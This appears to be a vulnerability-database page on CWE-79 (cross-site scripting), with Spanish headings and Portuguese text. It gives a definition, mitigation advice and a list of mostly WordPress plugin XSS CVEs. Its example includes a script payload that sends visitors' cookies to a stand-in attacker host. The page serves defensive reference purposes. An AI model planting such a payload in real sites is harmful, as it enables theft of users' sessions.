Fallos del tipo CWE-79

30.303 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-66615HIGHWordPress Podlove Podcast Publisher plugin <= 4.5.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-57360HIGHWordPress eCommerce Product Catalog plugin <= 3.5.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-69154HIGHWordPress SpaLab | Beauty Salon WordPress Theme theme <= 6.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-56051HIGHWordPress TablePress plugin <= 3.3.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-12018MEDIUMMembershipWorks <= 6.14 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-7172MEDIUMStored Cross-Site Scripting (XSS) in TPVEnlanubeEPSS 0.3%CVE-2026-65492HIGHWordPress Dokan Pro plugin < 5.0.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-81295HIGHWordPress Under Construction plugin <= 5.82 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-81771HIGHWordPress TrustedSite plugin <= 1.2.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-20075MEDIUMCisco Evolved Programmable Network Manager and Cisco Prime Infrastructure Stored Cross-Site Scripting VulnerabilityEPSS 0.3%CVE-2026-57674HIGHWordPress Timetics plugin <= 1.0.58 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-66605HIGHWordPress Swatchly – WooCommerce Variation Swatches for Products plugin <= 1.4.13 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-93774HIGHWordPress WP Photo Album Plus plugin <= 9.3.02.002 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-27605MEDIUMChartbrew: Stored Cross-Site Scripting (XSS) via File Upload APIEPSS 0.3%CVE-2026-57361HIGHWordPress Survey Maker plugin <= 5.2.2.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-34577MEDIUMCross-site scripting vulnerability exists in WRC-X3000GS2-B, WRC-X3000GS2-W, WRC-X3000GS2A-B and WRC-X3000GST2-B due to improper processing EPSS 0.3%CVE-2026-56039HIGHWordPress Quick Interest Slider plugin <= 3.1.6 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-65441HIGHWordPress GiveWP plugin <= 4.16.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-56071HIGHWordPress Forminator plugin <= 1.53.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-59556HIGHWordPress Dynamic Pricing With Discount Rules for WooCommerce plugin <= 4.5.11 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%